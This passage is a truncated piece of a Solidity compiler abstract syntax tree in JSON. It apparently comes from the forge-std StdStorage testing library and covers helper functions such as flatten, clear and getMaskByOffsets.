8"},"value":"8"},"src":"11138:5:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"id":8654,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"11137:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"11104:40:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"src":"11097:47:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"id":8657,"nodeType":"ExpressionStatement","src":"11097:47:8"}]},"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":8636,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":8634,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8631,"src":"11069:1:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"<","rightExpression":{"id":8635,"name":"max","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8620,"src":"11073:3:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"11069:7:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":8659,"initializationExpression":{"assignments":[8631],"declarations":[{"constant":false,"id":8631,"mutability":"mutable","name":"i","nameLocation":"11062:1:8","nodeType":"VariableDeclaration","scope":8659,"src":"11054:9:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":8630,"name":"uint256","nodeType":"ElementaryTypeName","src":"11054:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":8633,"initialValue":{"hexValue":"30","id":8632,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"11066:1:8","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"nodeType":"VariableDeclarationStatement","src":"11054:13:8"},"isSimpleCounterLoop":true,"loopExpression":{"expression":{"id":8638,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"++","prefix":false,"src":"11078:3:8","subExpression":{"id":8637,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8631,"src":"11078:1:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":8639,"nodeType":"ExpressionStatement","src":"11078:3:8"},"nodeType":"ForStatement","src":"11049:106:8"},{"expression":{"id":8660,"name":"out","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8617,"src":"11171:3:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"functionReturnParameters":8615,"id":8661,"nodeType":"Return","src":"11164:10:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"bytesToBytes32","nameLocation":"10886:14:8","parameters":{"id":8612,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8609,"mutability":"mutable","name":"b","nameLocation":"10914:1:8","nodeType":"VariableDeclaration","scope":8663,"src":"10901:14:8","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":8608,"name":"bytes","nodeType":"ElementaryTypeName","src":"10901:5:8","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":8611,"mutability":"mutable","name":"offset","nameLocation":"10925:6:8","nodeType":"VariableDeclaration","scope":8663,"src":"10917:14:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":8610,"name":"uint256","nodeType":"ElementaryTypeName","src":"10917:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"10900:32:8"},"returnParameters":{"id":8615,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8614,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":8663,"src":"10955:7:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":8613,"name":"bytes32","nodeType":"ElementaryTypeName","src":"10955:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"10954:9:8"},"scope":8781,"stateMutability":"pure","virtual":false,"visibility":"private"},{"id":8704,"nodeType":"FunctionDefinition","src":"11187:393:8","nodes":[],"body":{"id":8703,"nodeType":"Block","src":"11260:320:8","nodes":[],"statements":[{"assignments":[8672],"declarations":[{"constant":false,"id":8672,"mutability":"mutable","name":"result","nameLocation":"11283:6:8","nodeType":"VariableDeclaration","scope":8703,"src":"11270:19:8","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":8671,"name":"bytes","nodeType":"ElementaryTypeName","src":"11270:5:8","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"id":8680,"initialValue":{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":8678,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":8675,"name":"b","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8666,"src":"11302:1:8","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_memory_ptr","typeString":"bytes32[] memory"}},"id":8676,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"11304:6:8","memberName":"length","nodeType":"MemberAccess","src":"11302:8:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"*","rightExpression":{"hexValue":"3332","id":8677,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"11313:2:8","typeDescriptions":{"typeIdentifier":"t_rational_32_by_1","typeString":"int_const 32"},"value":"32"},"src":"11302:13:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":8674,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"NewExpression","src":"11292:9:8","typeDescriptions":{"typeIdentifier":"t_function_objectcreation_pure$_t_uint256_$returns$_t_bytes_memory_ptr_$","typeString":"function (uint256) pure returns (bytes memory)"},"typeName":{"id":8673,"name":"bytes","nodeType":"ElementaryTypeName","src":"11296:5:8","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}}},"id":8679,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"11292:24:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"nodeType":"VariableDeclarationStatement","src":"11270:46:8"},{"body":{"id":8699,"nodeType":"Block","src":"11365:185:8","statements":[{"assignments":[8693],"declarations":[{"constant":false,"id":8693,"mutability":"mutable","name":"k","nameLocation":"11387:1:8","nodeType":"VariableDeclaration","scope":8699,"src":"11379:9:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":8692,"name":"bytes32","nodeType":"ElementaryTypeName","src":"11379:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":8697,"initialValue":{"baseExpression":{"id":8694,"name":"b","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8666,"src":"11391:1:8","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_memory_ptr","typeString":"bytes32[] memory"}},"id":8696,"indexExpression":{"id":8695,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8682,"src":"11393:1:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"11391:4:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"nodeType":"VariableDeclarationStatement","src":"11379:16:8"},{"AST":{"nativeSrc":"11465:75:8","nodeType":"YulBlock","src":"11465:75:8","statements":[{"expression":{"arguments":[{"arguments":[{"name":"result","nativeSrc":"11494:6:8","nodeType":"YulIdentifier","src":"11494:6:8"},{"arguments":[{"kind":"number","nativeSrc":"11506:2:8","nodeType":"YulLiteral","src":"11506:2:8","type":"","value":"32"},{"arguments":[{"kind":"number","nativeSrc":"11514:2:8","nodeType":"YulLiteral","src":"11514:2:8","type":"","value":"32"},{"name":"i","nativeSrc":"11518:1:8","nodeType":"YulIdentifier","src":"11518:1:8"}],"functionName":{"name":"mul","nativeSrc":"11510:3:8","nodeType":"YulIdentifier","src":"11510:3:8"},"nativeSrc":"11510:10:8","nodeType":"YulFunctionCall","src":"11510:10:8"}],"functionName":{"name":"add","nativeSrc":"11502:3:8","nodeType":"YulIdentifier","src":"11502:3:8"},"nativeSrc":"11502:19:8","nodeType":"YulFunctionCall","src":"11502:19:8"}],"functionName":{"name":"add","nativeSrc":"11490:3:8","nodeType":"YulIdentifier","src":"11490:3:8"},"nativeSrc":"11490:32:8","nodeType":"YulFunctionCall","src":"11490:32:8"},{"name":"k","nativeSrc":"11524:1:8","nodeType":"YulIdentifier","src":"11524:1:8"}],"functionName":{"name":"mstore","nativeSrc":"11483:6:8","nodeType":"YulIdentifier","src":"11483:6:8"},"nativeSrc":"11483:43:8","nodeType":"YulFunctionCall","src":"11483:43:8"},"nativeSrc":"11483:43:8","nodeType":"YulExpressionStatement","src":"11483:43:8"}]},"documentation":"@solidity memory-safe-assembly","evmVersion":"shanghai","externalReferences":[{"declaration":8682,"isOffset":false,"isSlot":false,"src":"11518:1:8","valueSize":1},{"declaration":8693,"isOffset":false,"isSlot":false,"src":"11524:1:8","valueSize":1},{"declaration":8672,"isOffset":false,"isSlot":false,"src":"11494:6:8","valueSize":1}],"id":8698,"nodeType":"InlineAssembly","src":"11456:84:8"}]},"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":8688,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":8685,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8682,"src":"11346:1:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"<","rightExpression":{"expression":{"id":8686,"name":"b","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8666,"src":"11350:1:8","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_memory_ptr","typeString":"bytes32[] memory"}},"id":8687,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"11352:6:8","memberName":"length","nodeType":"MemberAccess","src":"11350:8:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"11346:12:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":8700,"initializationExpression":{"assignments":[8682],"declarations":[{"constant":false,"id":8682,"mutability":"mutable","name":"i","nameLocation":"11339:1:8","nodeType":"VariableDeclaration","scope":8700,"src":"11331:9:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":8681,"name":"uint256","nodeType":"ElementaryTypeName","src":"11331:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":8684,"initialValue":{"hexValue":"30","id":8683,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"11343:1:8","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"nodeType":"VariableDeclarationStatement","src":"11331:13:8"},"isSimpleCounterLoop":true,"loopExpression":{"expression":{"id":8690,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"++","prefix":false,"src":"11360:3:8","subExpression":{"id":8689,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8682,"src":"11360:1:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":8691,"nodeType":"ExpressionStatement","src":"11360:3:8"},"nodeType":"ForStatement","src":"11326:224:8"},{"expression":{"id":8701,"name":"result","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8672,"src":"11567:6:8","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"functionReturnParameters":8670,"id":8702,"nodeType":"Return","src":"11560:13:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"flatten","nameLocation":"11196:7:8","parameters":{"id":8667,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8666,"mutability":"mutable","name":"b","nameLocation":"11221:1:8","nodeType":"VariableDeclaration","scope":8704,"src":"11204:18:8","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_memory_ptr","typeString":"bytes32[]"},"typeName":{"baseType":{"id":8664,"name":"bytes32","nodeType":"ElementaryTypeName","src":"11204:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"id":8665,"nodeType":"ArrayTypeName","src":"11204:9:8","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_storage_ptr","typeString":"bytes32[]"}},"visibility":"internal"}],"src":"11203:20:8"},"returnParameters":{"id":8670,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8669,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":8704,"src":"11246:12:8","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":8668,"name":"bytes","nodeType":"ElementaryTypeName","src":"11246:5:8","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"11245:14:8"},"scope":8781,"stateMutability":"pure","virtual":false,"visibility":"private"},{"id":8735,"nodeType":"FunctionDefinition","src":"11586:239:8","nodes":[],"body":{"id":8734,"nodeType":"Block","src":"11635:190:8","nodes":[],"statements":[{"expression":{"id":8712,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"delete","prefix":true,"src":"11645:19:8","subExpression":{"expression":{"id":8710,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8707,"src":"11652:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":8711,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"11657:7:8","memberName":"_target","nodeType":"MemberAccess","referencedDeclaration":7420,"src":"11652:12:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":8713,"nodeType":"ExpressionStatement","src":"11645:19:8"},{"expression":{"id":8716,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"delete","prefix":true,"src":"11674:16:8","subExpression":{"expression":{"id":8714,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8707,"src":"11681:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":8715,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"11686:4:8","memberName":"_sig","nodeType":"MemberAccess","referencedDeclaration":7416,"src":"11681:9:8","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":8717,"nodeType":"ExpressionStatement","src":"11674:16:8"},{"expression":{"id":8720,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"delete","prefix":true,"src":"11700:17:8","subExpression":{"expression":{"id":8718,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8707,"src":"11707:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":8719,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"11712:5:8","memberName":"_keys","nodeType":"MemberAccess","referencedDeclaration":7414,"src":"11707:10:8","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_storage","typeString":"bytes32[] storage ref"}},"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":8721,"nodeType":"ExpressionStatement","src":"11700:17:8"},{"expression":{"id":8724,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"delete","prefix":true,"src":"11727:18:8","subExpression":{"expression":{"id":8722,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8707,"src":"11734:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":8723,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"11739:6:8","memberName":"_depth","nodeType":"MemberAccess","referencedDeclaration":7418,"src":"11734:11:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":8725,"nodeType":"ExpressionStatement","src":"11727:18:8"},{"expression":{"id":8728,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"delete","prefix":true,"src":"11755:32:8","subExpression":{"expression":{"id":8726,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8707,"src":"11762:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":8727,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"11767:20:8","memberName":"_enable_packed_slots","nodeType":"MemberAccess","referencedDeclaration":7424,"src":"11762:25:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":8729,"nodeType":"ExpressionStatement","src":"11755:32:8"},{"expression":{"id":8732,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"delete","prefix":true,"src":"11797:21:8","subExpression":{"expression":{"id":8730,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8707,"src":"11804:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":8731,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"11809:9:8","memberName":"_calldata","nodeType":"MemberAccess","referencedDeclaration":7426,"src":"11804:14:8","typeDescriptions":{"typeIdentifier":"t_bytes_storage","typeString":"bytes storage ref"}},"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":8733,"nodeType":"ExpressionStatement","src":"11797:21:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"clear","nameLocation":"11595:5:8","parameters":{"id":8708,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8707,"mutability":"mutable","name":"self","nameLocation":"11620:4:8","nodeType":"VariableDeclaration","scope":8735,"src":"11601:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8706,"nodeType":"UserDefinedTypeName","pathNode":{"id":8705,"name":"StdStorage","nameLocations":["11601:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"11601:10:8"},"referencedDeclaration":7427,"src":"11601:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"11600:25:8"},"returnParameters":{"id":8709,"nodeType":"ParameterList","parameters":[],"src":"11635:0:8"},"scope":8781,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":8746,"nodeType":"FunctionDefinition","src":"12018:376:8","nodes":[],"body":{"id":8745,"nodeType":"Block","src":"12122:272:8","nodes":[],"statements":[{"AST":{"nativeSrc":"12284:104:8","nodeType":"YulBlock","src":"12284:104:8","statements":[{"nativeSrc":"12298:80:8","nodeType":"YulAssignment","src":"12298:80:8","value":{"arguments":[{"name":"offsetRight","nativeSrc":"12310:11:8","nodeType":"YulIdentifier","src":"12310:11:8"},{"arguments":[{"arguments":[{"arguments":[{"kind":"number","nativeSrc":"12335:3:8","nodeType":"YulLiteral","src":"12335:3:8","type":"","value":"256"},{"arguments":[{"name":"offsetRight","nativeSrc":"12344:11:8","nodeType":"YulIdentifier","src":"12344:11:8"},{"name":"offsetLeft","nativeSrc":"12357:10:8","nodeType":"YulIdentifier","src":"12357:10:8"}],"functionName":{"name":"add","nativeSrc":"12340:3:8","nodeType":"YulIdentifier","src":"12340:3:8"},"nativeSrc":"12340:28:8","nodeType":"YulFunctionCall","src":"12340:28:8"}],"functionName":{"name":"sub","nativeSrc":"12331:3:8","nodeType":"YulIdentifier","src":"12331:3:8"},"nativeSrc":"12331:38:8","nodeType":"YulFunctionCall","src":"12331:38:8"},{"kind":"number","nativeSrc":"12371:1:8","nodeType":"YulLiteral","src":"12371:1:8","type":"","value":"1"}],"functionName":{"name":"shl","nativeSrc":"12327:3:8","nodeType":"YulIdentifier","src":"12327:3:8"},"nativeSrc":"12327:46:8","nodeType":"YulFunctionCall","src":"12327:46:8"},{"kind":"number","nativeSrc":"12375:1:8","nodeType":"YulLiteral","src":"12375:1:8","type":"","value":"1"}],"functionName":{"name":"sub","nativeSrc":"12323:3:8","nodeType":"YulIdentifier","src":"12323:3:8"},"nativeSrc":"12323:54:8","nodeType":"YulFunctionCall","src":"12323:54:8"}],"functionName":{"name":"shl","nativeSrc":"12306:3:8","nodeType":"YulIdentifier","src":"12306:3:8"},"nativeSrc":"12306:72:8","nodeType":"YulFunctionCall","src":"12306:72:8"},"variableNames":[{"name":"mask","nativeSrc":"12298:4:8","nodeType":"YulIdentifier","src":"12298:4:8"}]}]},"evmVersion":"shanghai","externalReferences":[{"declaration":8742,"isOffset":false,"isSlot":false,"src":"12298:4:8","valueSize":1},{"declaration":8737,"isOffset":false,"isSlot":false,"src":"12357:10:8","valueSize":1},{"declaration":8739,"isOffset":false,"isSlot":false,"src":"12310:11:8","valueSize":1},{"declaration":8739,"isOffset":false,"isSlot":false,"src":"12344:11:8","valueSize":1}],"id":8744,"nodeType":"InlineAssembly","src":"12275:113:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"getMaskByOffsets","nameLocation":"12027:16:8","parameters":{"id":8740,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8737,"mutability":"mutable","name":"offsetLeft","nameLocation":"12052:10:8","nodeType":"VariableDeclaration","scope":8746,"src":"12044:18:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":8736,"name":"uint256","nodeType":"ElementaryTypeName","src":"12044:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":8739,"mutability":"mutable","name":"offsetRight","nameLocation":"12072:11:8","nodeType":"VariableDeclaration","scope":8746,"src":"12064:19:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":8738,"name":"uint256","nodeType":"ElementaryTypeName","src":"12064:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"12043:41:8"},"returnParameters":{"id":8743,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8742,"mutability":"mutable","name":"mask","nameLocation":"12116:4:8","nodeType":"VariableDeclaration","scope":8746,"src":"12108:12:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":8741,"name":"uint256","nodeType":"ElementaryTypeName","src":"12108:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"12107:14:8"},"scope":8781,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":8780,"nodeType":"FunctionDefinition","src":"12456:300:8","nodes":[],"body":{"id":8779,"nodeType":"Block","src":"12631:125:8","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":8776,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"components":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":8770,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"id":8763,"name":"curValue","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8748,"src":"12665:8:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":8762,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"12657:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":8761,"name":"uint256","nodeType":"ElementaryTypeName","src":"12657:7:8","typeDescriptions":{}}},"id":8764,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"12657:17:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"&","rightExpression":{"id":8769,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"~","prefix":true,"src":"12677:42:8","subExpression":{"arguments":[{"id":8766,"name":"offsetLeft","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8752,"src":"12695:10:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":8767,"name":"offsetRight","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8754,"src":"12707:11:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":8765,"name":"getMaskByOffsets","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8746,"src":"12678:16:8","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$_t_uint256_$","typeString":"function (uint256,uint256) pure returns (uint256)"}},"id":8768,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"12678:41:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"12657:62:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"id":8771,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"12656:64:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"|","rightExpression":{"components":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":8774,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":8772,"name":"varValue","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8750,"src":"12724:8:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"<<","rightExpression":{"id":8773,"name":"offsetRight","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8754,"src":"12736:11:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"12724:23:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"id":8775,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"12723:25:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"12656:92:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":8760,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"12648:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes32_$","typeString":"type(bytes32)"},"typeName":{"id":8759,"name":"bytes32","nodeType":"ElementaryType